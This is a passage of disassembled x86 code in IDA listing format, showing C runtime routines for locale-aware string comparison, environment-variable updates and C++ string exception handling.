arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_41FC18
push offset sub_41AE98
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor ebx, ebx
cmp ds:dword_45EAE8, ebx
push 1
pop edi
jnz short loc_41D948
push edi
mov eax, offset dword_41F868
push eax
push edi
push eax
push ebx
push ebx
call ds:dword_41F008 ; CompareStringW
test eax, eax
jz short loc_41D925
mov ds:dword_45EAE8, edi
jmp short loc_41D948
; ---------------------------------------------------------------------------
loc_41D925: ; CODE XREF: sub_41D8D5+46j
push edi
mov eax, offset dword_42E344
push eax
push edi
push eax
push ebx
push ebx
call ds:dword_41F00C ; CompareStringA
test eax, eax
jz loc_41DB3E
mov ds:dword_45EAE8, 2
loc_41D948: ; CODE XREF: sub_41D8D5+31j
; sub_41D8D5+4Ej
mov esi, [ebp+arg_C]
cmp esi, ebx
jle short loc_41D95F
push esi
push [ebp+arg_8]
call sub_41A025
pop ecx
pop ecx
mov esi, eax
mov [ebp+arg_C], esi
loc_41D95F: ; CODE XREF: sub_41D8D5+78j
cmp [ebp+arg_14], ebx
jle short loc_41D974
push [ebp+arg_14]
push [ebp+arg_10]
call sub_41A025
pop ecx
pop ecx
mov [ebp+arg_14], eax
loc_41D974: ; CODE XREF: sub_41D8D5+8Dj
mov eax, ds:dword_45EAE8
cmp eax, 2
jnz short loc_41D999
push [ebp+arg_14]
push [ebp+arg_10]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_41F00C ; CompareStringA
jmp loc_41DB40
; ---------------------------------------------------------------------------
loc_41D999: ; CODE XREF: sub_41D8D5+A7j
cmp eax, edi
jnz loc_41DB3E
cmp [ebp+arg_18], ebx
jnz short loc_41D9AE
mov eax, ds:dword_45E8A8
mov [ebp+arg_18], eax
loc_41D9AE: ; CODE XREF: sub_41D8D5+CFj
cmp esi, ebx
jz short loc_41D9BB
cmp [ebp+arg_14], ebx
jnz loc_41DA53
loc_41D9BB: ; CODE XREF: sub_41D8D5+DBj
cmp esi, [ebp+arg_14]
jnz short loc_41D9C8
loc_41D9C0: ; CODE XREF: sub_41D8D5+13Cj
; sub_41D8D5+16Dj
push 2
loc_41D9C2: ; CODE XREF: sub_41D8D5+146j
pop eax
jmp loc_41DB40
; ---------------------------------------------------------------------------
loc_41D9C8: ; CODE XREF: sub_41D8D5+E9j
cmp [ebp+arg_14], edi
jle short loc_41D9D4
loc_41D9CD: ; CODE XREF: sub_41D8D5+151j
; sub_41D8D5+159j ...
mov eax, edi
jmp loc_41DB40
; ---------------------------------------------------------------------------
loc_41D9D4: ; CODE XREF: sub_41D8D5+F6j
cmp esi, edi
jg short loc_41DA19
lea eax, [ebp+var_3C]
push eax
push [ebp+arg_18]
call near ptr 0A70000h
inc eax
test eax, eax
jz loc_41DB3E
cmp esi, ebx
jle short loc_41DA1D
cmp [ebp+var_3C], 2
jb short loc_41DA19
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_41DA19
loc_41D9FF: ; CODE XREF: sub_41D8D5+142j
mov dl, [eax+1]
cmp dl, bl
jz short loc_41DA19
mov ecx, [ebp+arg_8]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_41DA13
cmp cl, dl
jbe short loc_41D9C0
loc_41DA13: ; CODE XREF: sub_41D8D5+138j
inc eax
inc eax
cmp [eax], bl
jnz short loc_41D9FF
loc_41DA19: ; CODE XREF: sub_41D8D5+101j
; sub_41D8D5+120j ...
push 3
jmp short loc_41D9C2
; ---------------------------------------------------------------------------
loc_41DA1D: ; CODE XREF: sub_41D8D5+11Aj
cmp [ebp+arg_14], ebx
jle short loc_41DA53
cmp [ebp+var_3C], 2
jb short loc_41D9CD
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_41D9CD
loc_41DA30: ; CODE XREF: sub_41D8D5+177j
mov dl, [eax+1]
cmp dl, bl
jz short loc_41D9CD
mov ecx, [ebp+arg_10]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_41DA48
cmp cl, dl
jbe loc_41D9C0
loc_41DA48: ; CODE XREF: sub_41D8D5+169j
inc eax
inc eax
cmp [eax], bl
jnz short loc_41DA30
jmp loc_41D9CD
; ---------------------------------------------------------------------------
loc_41DA53: ; CODE XREF: sub_41D8D5+E0j
; sub_41D8D5+14Bj
push ebx
push ebx
push esi
push [ebp+arg_8]
push 9
push [ebp+arg_18]
call ds:dword_41F12C ; MultiByteToWideChar
mov [ebp+var_1C], eax
cmp eax, ebx
jz loc_41DB3E
mov [ebp+var_4], ebx
add eax, eax
add eax, 3
and al, 0FCh
call sub_413E30
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41DAA2
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+arg_C]
push 1
pop edi
loc_41DAA2: ; CODE XREF: sub_41D8D5+1B5j
cmp [ebp+var_24], ebx
jz loc_41DB3E
push [ebp+var_1C]
push [ebp+var_24]
push esi
push [ebp+arg_8]
push edi
push [ebp+arg_18]
mov esi, ds:dword_41F12C
call esi ; dword_41F12C
test eax, eax
jz short loc_41DB3E
push ebx
push ebx
push [ebp+arg_14]
push [ebp+arg_10]
push 9
push [ebp+arg_18]
call esi ; dword_41F12C
mov esi, eax
mov [ebp+var_20], esi
cmp esi, ebx
jz short loc_41DB3E
mov [ebp+var_4], edi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_413E30
mov [ebp+var_18], esp
mov edi, esp
mov [ebp+var_28], edi
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41DB0D
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor edi, edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_20]
loc_41DB0D: ; CODE XREF: sub_41D8D5+224j
cmp edi, ebx
jz short loc_41DB3E
push esi
push edi
push [ebp+arg_14]
push [ebp+arg_10]
push 1
push [ebp+arg_18]
call ds:dword_41F12C ; MultiByteToWideChar
test eax, eax
jz short loc_41DB3E
push esi
push edi
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_41F008 ; CompareStringW
jmp short loc_41DB40
; ---------------------------------------------------------------------------
loc_41DB3E: ; CODE XREF: sub_41D8D5+63j
; sub_41D8D5+C6j ...
xor eax, eax
loc_41DB40: ; CODE XREF: sub_41D8D5+BFj
; sub_41D8D5+EEj ...
lea esp, [ebp-4Ch]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41D8D5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DB52 proc near ; CODE XREF: sub_41D867+50p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor edi, edi
cmp [ebp+arg_0], edi
jz short loc_41DBB6
push 3Dh
push [ebp+arg_0]
call sub_41DD98
mov esi, eax
pop ecx
cmp esi, edi
pop ecx
mov [ebp+var_8], esi
jz short loc_41DBB6
cmp [ebp+arg_0], esi
jz short loc_41DBB6
mov eax, ds:dword_45E82C
xor ebx, ebx
cmp [esi+1], bl
setz bl
cmp eax, ds:dword_45E830
jnz short loc_41DB9C
push eax
call sub_41DD31
pop ecx
mov ds:dword_45E82C, eax
loc_41DB9C: ; CODE XREF: sub_41DB52+3Cj
cmp eax, edi
jnz short loc_41DBF4
cmp [ebp+arg_4], edi
jz short loc_41DBBE
cmp ds:dword_45E834, edi
jz short loc_41DBBE
call sub_41D867
test eax, eax
jz short loc_41DBF4
loc_41DBB6: ; CODE XREF: sub_41DB52+Dj
; sub_41DB52+22j ...
or eax, 0FFFFFFFFh
loc_41DBB9: ; CODE XREF: sub_41DB52+182j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41DBBE: ; CODE XREF: sub_41DB52+51j
; sub_41DB52+59j
cmp ebx, edi
jnz loc_41DCD2
push 4
call sub_413E5F
cmp eax, edi
pop ecx
mov ds:dword_45E82C, eax
jz short loc_41DBB6
mov [eax], edi
cmp ds:dword_45E834, edi
jnz short loc_41DBF4
push 4
call sub_413E5F
cmp eax, edi
pop ecx
mov ds:dword_45E834, eax
jz short loc_41DBB6
mov [eax], edi
loc_41DBF4: ; CODE XREF: sub_41DB52+4Cj
; sub_41DB52+62j ...
sub esi, [ebp+arg_0]
mov edi, ds:dword_45E82C
mov [ebp+var_4], edi
push esi
push [ebp+arg_0]
call sub_41DCD9
mov esi, eax
pop ecx
test esi, esi
pop ecx
jl short loc_41DC54
cmp dword ptr [edi], 0
jz short loc_41DC54
test ebx, ebx
jz short loc_41DC4C
push dword ptr [edi+esi*4]
lea edi, [edi+esi*4]
call sub_413ED3
pop ecx
loc_41DC26: ; CODE XREF: sub_41DB52+E2j
cmp dword ptr [edi], 0
jz short loc_41DC36
mov eax, [edi+4]
inc esi
mov [edi], eax
add edi, 4
jmp short loc_41DC26
; ---------------------------------------------------------------------------
loc_41DC36: ; CODE XREF: sub_41DB52+D7j
mov eax, esi
shl eax, 2
push eax
push [ebp+var_4]
call sub_41556F
pop ecx
test eax, eax
pop ecx
jz short loc_41DC86
jmp short loc_41DC81
; ---------------------------------------------------------------------------
loc_41DC4C: ; CODE XREF: sub_41DB52+C6j
mov eax, [ebp+arg_0]
mov [edi+esi*4], eax
jmp short loc_41DC86
; ---------------------------------------------------------------------------
loc_41DC54: ; CODE XREF: sub_41DB52+BDj
; sub_41DB52+C2j
test ebx, ebx
jnz short loc_41DCD2
test esi, esi
jge short loc_41DC5E
neg esi
loc_41DC5E: ; CODE XREF: sub_41DB52+108j
lea eax, ds:8[esi*4]
push eax
push edi
call sub_41556F
pop ecx
test eax, eax
pop ecx
jz loc_41DBB6
mov ecx, [ebp+arg_0]
mov [eax+esi*4], ecx
and dword ptr [eax+esi*4+4], 0
loc_41DC81: ; CODE XREF: sub_41DB52+F8j
mov ds:dword_45E82C, eax
loc_41DC86: ; CODE XREF: sub_41DB52+F6j
; sub_41DB52+100j
cmp [ebp+arg_4], 0
jz short loc_41DCD2
push [ebp+arg_0]
call sub_413DB0
inc eax
inc eax
push eax
call sub_413E5F
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_41DCD2
push [ebp+arg_0]
push esi
call sub_413CC0
mov eax, esi
pop ecx
sub eax, [ebp+arg_0]
pop ecx
add eax, [ebp+var_8]
and byte ptr [eax], 0
inc eax
neg ebx
sbb ebx, ebx
not ebx
and ebx, eax
push ebx
push esi
call near ptr 0A70000h
pop ebx
push esi
call sub_413ED3
pop ecx
loc_41DCD2: ; CODE XREF: sub_41DB52+6Ej
; sub_41DB52+104j ...
xor eax, eax
jmp loc_41DBB9
sub_41DB52 endp
; =============== S U B R O U T I N E =======================================
sub_41DCD9 proc near ; CODE XREF: sub_41DB52+B2p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ds:dword_45E82C
push edi
mov eax, [esi]
test eax, eax
jz short loc_41DD14
mov edi, [esp+8+arg_4]
loc_41DCEB: ; CODE XREF: sub_41DCD9+39j
push edi
push eax
push [esp+10h+arg_0]
call sub_41D828
add esp, 0Ch
test eax, eax
jnz short loc_41DD0A
mov eax, [esi]
mov al, [eax+edi]
cmp al, 3Dh
jz short loc_41DD24
test al, al
jz short loc_41DD24
loc_41DD0A: ; CODE XREF: sub_41DCD9+22j
mov eax, [esi+4]
add esi, 4
test eax, eax
jnz short loc_41DCEB
loc_41DD14: ; CODE XREF: sub_41DCD9+Cj
mov eax, esi
sub eax, ds:dword_45E82C
sar eax, 2
neg eax
loc_41DD21: ; CODE XREF: sub_41DCD9+56j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_41DD24: ; CODE XREF: sub_41DCD9+2Bj
; sub_41DCD9+2Fj
mov eax, esi
sub eax, ds:dword_45E82C
sar eax, 2
jmp short loc_41DD21
sub_41DCD9 endp
; =============== S U B R O U T I N E =======================================
sub_41DD31 proc near ; CODE XREF: sub_41DB52+3Fp
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor ecx, ecx
test edi, edi
jnz short loc_41DD40
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
loc_41DD40: ; CODE XREF: sub_41DD31+9j
cmp dword ptr [edi], 0
lea eax, [edi+4]
jz short loc_41DD52
loc_41DD48: ; CODE XREF: sub_41DD31+1Fj
mov edx, [eax]
inc ecx
add eax, 4
test edx, edx
jnz short loc_41DD48
loc_41DD52: ; CODE XREF: sub_41DD31+15j
push ebx
push ebp
lea eax, ds:4[ecx*4]
push esi
push eax
call sub_413E5F
mov esi, eax
pop ecx
test esi, esi
mov ebp, esi
jnz short loc_41DD73
push 9
call sub_415C7E
pop ecx
loc_41DD73: ; CODE XREF: sub_41DD31+38j
mov eax, [edi]
mov ebx, edi
loc_41DD77: ; CODE XREF: sub_41DD31+5Bj
test eax, eax
jz short loc_41DD8E
push eax
add ebx, 4
call sub_41DE0B
mov [esi], eax
mov eax, [ebx]
pop ecx
add esi, 4
jmp short loc_41DD77
; ---------------------------------------------------------------------------
loc_41DD8E: ; CODE XREF: sub_41DD31+48j
and dword ptr [esi], 0
mov eax, ebp
pop esi
pop ebp
pop ebx
pop edi
retn
sub_41DD31 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DD98 proc near ; CODE XREF: sub_41DB52+14p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp ds:dword_45FC3C, 0
jnz short loc_41DDB3
push [ebp+arg_4]
push [ebp+arg_0]
call sub_415110
pop ecx
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41DDB3: ; CODE XREF: sub_41DD98+Aj
mov ecx, [ebp+arg_0]
loc_41DDB6: ; CODE XREF: sub_41DD98+56j
movzx ax, byte ptr [ecx]
test ax, ax
jz short loc_41DDF9
movzx edx, al
test ds:byte_45FD41[edx], 4
jz short loc_41DDE5
mov dl, [ecx+1]
inc ecx
test dl, dl
jz short loc_41DDF0
movzx eax, ax
movzx edx, dl
shl eax, 8
or eax, edx
cmp [ebp+arg_4], eax
jz short loc_41DDF4
jmp short loc_41DDED
; ---------------------------------------------------------------------------
loc_41DDE5: ; CODE XREF: sub_41DD98+31j
movzx edx, ax
cmp [ebp+arg_4], edx
jz short loc_41DDF9
loc_41DDED: ; CODE XREF: sub_41DD98+4Bj
inc ecx
jmp short loc_41DDB6
; ---------------------------------------------------------------------------
loc_41DDF0: ; CODE XREF: sub_41DD98+39j
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41DDF4: ; CODE XREF: sub_41DD98+49j
lea eax, [ecx-1]
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41DDF9: ; CODE XREF: sub_41DD98+25j
; sub_41DD98+53j
movzx edx, ax
mov eax, [ebp+arg_4]
sub eax, edx
neg eax
sbb eax, eax
not eax
and eax, ecx
pop ebp
retn
sub_41DD98 endp
; =============== S U B R O U T I N E =======================================
sub_41DE0B proc near ; CODE XREF: sub_407E52+21p
; sub_41DD31+4Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_41DE32
push esi
call sub_413DB0
inc eax
push eax
call sub_413E5F
pop ecx
test eax, eax
pop ecx
jz short loc_41DE32
push esi
push eax
call sub_413CC0
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41DE32: ; CODE XREF: sub_41DE0B+7j
; sub_41DE0B+1Aj
xor eax, eax
pop esi
retn
sub_41DE0B endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DE40 proc near ; CODE XREF: sub_4034C7+15p
; sub_403520+15p ...
mov eax, offset loc_41E330
call sub_4144F0
sub esp, 30h
mov al, [ebp-0Dh]
push esi
push 0
lea ecx, [ebp-20h]
mov [ebp-20h], al
call sub_4036CA
mov esi, offset aStringTooLong ; "string too long"
push esi
call sub_413DB0
pop ecx
push eax
push esi
lea ecx, [ebp-20h]
call sub_403706
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_41DE9A
lea eax, [ebp-3Ch]
push offset dword_41FF78
push eax
mov dword ptr [ebp-3Ch], offset off_41FC34
call sub_41E299
pop esi
sub_41DE40 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41DE9A proc near ; CODE XREF: sub_41DE40+3Fp
; sub_41E06C+3Fp
mov eax, offset loc_41E344
call sub_4144F0
push ecx
push ecx
push ebx
push esi
lea eax, [ebp-10h]
push edi
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset byte_42E348
call sub_41E1BE
mov ebx, [ebp+8]
and dword ptr [ebp-4], 0
lea edi, [esi+0Ch]
push 0
mov al, [ebx]
mov ecx, edi
mov [edi], al
call sub_4036CA
push ds:dword_41F240
mov ecx, edi
push 0
push ebx
call sub_403577
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_41FC54
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 4
sub_41DE9A endp
; =============== S U B R O U T I N E =======================================
sub_41DEFE proc near ; DATA XREF: seg001:0041FC38o
; seg001:0041FC58o ...
mov eax, [ecx+10h]
test eax, eax
jnz short locret_41DF0A
mov eax, offset dword_41F250
locret_41DF0A: ; CODE XREF: sub_41DEFE+5j
retn
sub_41DEFE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DF0B proc near ; DATA XREF: seg001:0041FC5Co
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_41DF81
lea eax, [ebp+var_1C]
push offset dword_41FFE8
push eax
call sub_41E299
sub_41DF0B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41DF28 proc near ; CODE XREF: seg000:0041DF68p
; DATA XREF: seg001:0041FFECo
mov eax, offset loc_41E358
call sub_4144F0
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_41FC54
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_4036CA
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_41E245
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_41DF28 endp
; ---------------------------------------------------------------------------
loc_41DF65: ; DATA XREF: seg001:off_41FC54o
push esi
mov esi, ecx
call sub_41DF28
test byte ptr [esp+8], 1
jz short loc_41DF7B
push esi
call sub_41450F
pop ecx
loc_41DF7B: ; CODE XREF: seg000:0041DF72j
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_41DF81 proc near ; CODE XREF: sub_41DF0B+Ap
; sub_41E054+7p ...
mov eax, offset loc_41E36C
call sub_4144F0
push ecx
push ebx
mov ebx, [ebp+8]
push esi
push edi
mov esi, ecx
push ebx
mov [ebp-10h], esi
call sub_41E1FB
mov al, [ebx+0Ch]
and dword ptr [ebp-4], 0
add ebx, 0Ch
lea edi, [esi+0Ch]
push 0
mov ecx, edi
mov [edi], al
call sub_4036CA
push ds:dword_41F240
mov ecx, edi
push 0
push ebx
call sub_403577
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_41FC54
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 4
sub_41DF81 endp
; =============== S U B R O U T I N E =======================================
sub_41DFDE proc near ; CODE XREF: sub_41E01B+20p
; DATA XREF: seg001:0041FF7Co
mov eax, offset loc_41E380
call sub_4144F0
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_41FC54
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_4036CA
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_41E245
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_41DFDE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E01B proc near ; DATA XREF: seg001:0041FC3Co
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_41E054
lea eax, [ebp+var_1C]
push offset dword_41FF78
push eax
call sub_41E299
loc_41E038: ; DATA XREF: seg001:off_41FC34o
push esi
mov esi, ecx
call sub_41DFDE
test [esp+20h+var_18], 1
jz short loc_41E04E
push esi
call sub_41450F
pop ecx
loc_41E04E: ; CODE XREF: sub_41E01B+2Aj
mov eax, esi
pop esi
retn 4
sub_41E01B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41E054 proc near ; CODE XREF: sub_41E01B+Ap
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_41DF81
mov dword ptr [esi], offset off_41FC34
mov eax, esi
pop esi
retn 4
sub_41E054 endp
; =============== S U B R O U T I N E =======================================
sub_41E06C proc near ; CODE XREF: sub_403577+13p
; sub_40373B+Ep
mov eax, offset loc_41E394
call sub_4144F0
sub esp, 30h
mov al, [ebp-0Dh]
push esi
push 0
lea ecx, [ebp-20h]
mov [ebp-20h], al
call sub_4036CA
mov esi, offset aInvalidStringP ; "invalid string position"
push esi
call sub_413DB0
pop ecx
push eax
push esi
lea ecx, [ebp-20h]
call sub_403706
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_41DE9A
lea eax, [ebp-3Ch]
push offset dword_4200A0
push eax
mov dword ptr [ebp-3Ch], offset off_41FC64
call sub_41E299
pop esi
sub_41E06C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41E0C6 proc near ; CODE XREF: sub_41E103+20p
; DATA XREF: seg001:004200A4o
mov eax, offset loc_41E3A8
call sub_4144F0
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_41FC54
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_4036CA
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_41E245
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_41E0C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E103 proc near ; DATA XREF: seg001:0041FC6Co
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_41E13C
lea eax, [ebp+var_1C]
push offset dword_4200A0
push eax
call sub_41E299
loc_41E120: ; DATA XREF: seg001:off_41FC64o
push esi
mov esi, ecx
call sub_41E0C6
test [esp+20h+var_18], 1
jz short loc_41E136
push esi
call sub_41450F
pop ecx
loc_41E136: ; CODE XREF: sub_41E103+2Aj
mov eax, esi
pop esi
retn 4
sub_41E103 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41E13C proc near ; CODE XREF: sub_41E103+Ap
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_41DF81
mov dword ptr [esi], offset off_41FC64
mov eax, esi
pop esi
retn 4
sub_41E13C endp
; =============== S U B R O U T I N E =======================================
sub_41E154 proc near ; DATA XREF: seg002:00421008o
; FUNCTION CHUNK AT 0041E18A SIZE 0000000C BYTES
test ds:byte_45EAEC, 1
jnz short loc_41E164
or ds:byte_45EAEC, 1
loc_41E164: ; CODE XREF: sub_41E154+7j
call sub_41E17E
test ds:byte_45FE78, 1
jnz short loc_41E179
or ds:byte_45FE78, 1
loc_41E179: ; CODE XREF: sub_41E154+1Cj
jmp loc_41E18A
sub_41E154 endp
; =============== S U B R O U T I N E =======================================
sub_41E17E proc near ; CODE XREF: sub_41E154:loc_41E164p
push offset nullsub_1
call sub_4148D0
pop ecx
retn
sub_41E17E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41E154
loc_41E18A: ; CODE XREF: sub_41E154:loc_41E179j
push offset nullsub_1
call sub_4148D0
pop ecx
retn
; END OF FUNCTION CHUNK FOR sub_41E154
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_41E196 proc near ; CODE XREF: sub_402E17+5Ep
; seg000:00403A0Ap
jmp ds:dword_41F1E4
sub_41E196 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_41E19C proc near ; CODE XREF: sub_41415C+23p
; sub_414400+13p
jmp ds:dword_41F148
sub_41E19C endp
; =============== S U B R O U T I N E =======================================
sub_41E1A2 proc near ; DATA XREF: seg001:off_41FC8Co
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_41E245
test [esp+4+arg_0], 1
jz short loc_41E1B8
push esi
call sub_41450F
pop ecx
loc_41E1B8: ; CODE XREF: sub_41E1A2+Dj
mov eax, esi
pop esi
retn 4
sub_41E1A2 endp
; =============== S U B R O U T I N E =======================================
sub_41E1BE proc near ; CODE XREF: sub_41DE9A+1Fp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_41FC8C
push dword ptr [edi]
call sub_413DB0
inc eax
push eax
call sub_414855
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_41E1ED
push dword ptr [edi]
push eax
call sub_413CC0
pop ecx
pop ecx
loc_41E1ED: ; CODE XREF: sub_41E1BE+23j
mov dword ptr [esi+8], 1
mov eax, esi
pop edi
pop esi
retn 4
sub_41E1BE endp
; =============== S U B R O U T I N E =======================================
sub_41E1FB proc near ; CODE XREF: sub_41DF81+17p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_41FC8C
mov eax, [edi+8]
test eax, eax
mov [esi+8], eax
jz short loc_41E238
push dword ptr [edi+4]
call sub_413DB0
inc eax
push eax
call sub_414855
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_41E23E
push dword ptr [edi+4]
push eax
call sub_413CC0
pop ecx
pop ecx
jmp short loc_41E23E
; ---------------------------------------------------------------------------
loc_41E238: ; CODE XREF: sub_41E1FB+16j
mov eax, [edi+4]
mov [esi+4], eax
loc_41E23E: ; CODE XREF: sub_41E1FB+2Ej
; sub_41E1FB+3Bj
mov eax, esi
pop edi
pop esi
retn 4
sub_41E1FB endp
; =============== S U B R O U T I N E =======================================
sub_41E245 proc near ; CODE XREF: sub_41DF28+2Bp
; sub_41DFDE+2Bp ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_41FC8C
jz short locret_41E25A
push dword ptr [ecx+4]
call sub_41450F
pop ecx
locret_41E25A: ; CODE XREF: sub_41E245+Aj
retn
sub_41E245 endp
; =============== S U B R O U T I N E =======================================
sub_41E25B proc near ; DATA XREF: seg001:0041FC90o
mov eax, [ecx+4]
test eax, eax
jnz short locret_41E267
mov eax, offset aUnknownExcepti ; "Unknown exception"
locret_41E267: ; CODE XREF: sub_41E25B+5j
retn
sub_41E25B endp
; =============== S U B R O U T I N E =======================================
sub_41E268 proc near ; CODE XREF: seg000:0041E280p
mov dword ptr [ecx], offset off_41FCAC
mov ecx, [ecx+4]
test ecx, ecx
jz short locret_41E27C
push ecx
call sub_413ED3
pop ecx
locret_41E27C: ; CODE XREF: sub_41E268+Bj
retn
sub_41E268 endp
; ---------------------------------------------------------------------------
loc_41E27D: ; DATA XREF: seg001:off_41FCACo
push esi
mov esi, ecx
call sub_41E268
test byte ptr [esp+8], 1
jz short loc_41E293
push esi
call sub_41450F
pop ecx
loc_41E293: ; CODE XREF: seg000:0041E28Aj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E299 proc near ; CODE XREF: sub_41DE40+54p
; sub_41DF0B+18p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push edi
push 8
pop ecx
mov esi, offset dword_41FCB0
lea edi, [ebp+var_20]
rep movsd
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
lea eax, [ebp+var_C]
push eax
push [ebp+var_10]
push [ebp+var_1C]
push [ebp+var_20]
call ds:dword_41F178 ; RaiseException
pop edi
pop esi
leave
retn 8
sub_41E299 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_41E2D4 proc near ; DATA XREF: seg001:0041FE7Co
; FUNCTION CHUNK AT 004034BF SIZE 00000008 BYTES
lea ecx, [ebp-38h]
jmp loc_4034BF
sub_41E2D4 endp
; ---------------------------------------------------------------------------
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_41E2F2
mov ecx, [ebp+8]
jmp loc_4034BF
; ---------------------------------------------------------------------------
locret_41E2F2: ; CODE XREF: seg000:0041E2E4j
retn
; ---------------------------------------------------------------------------
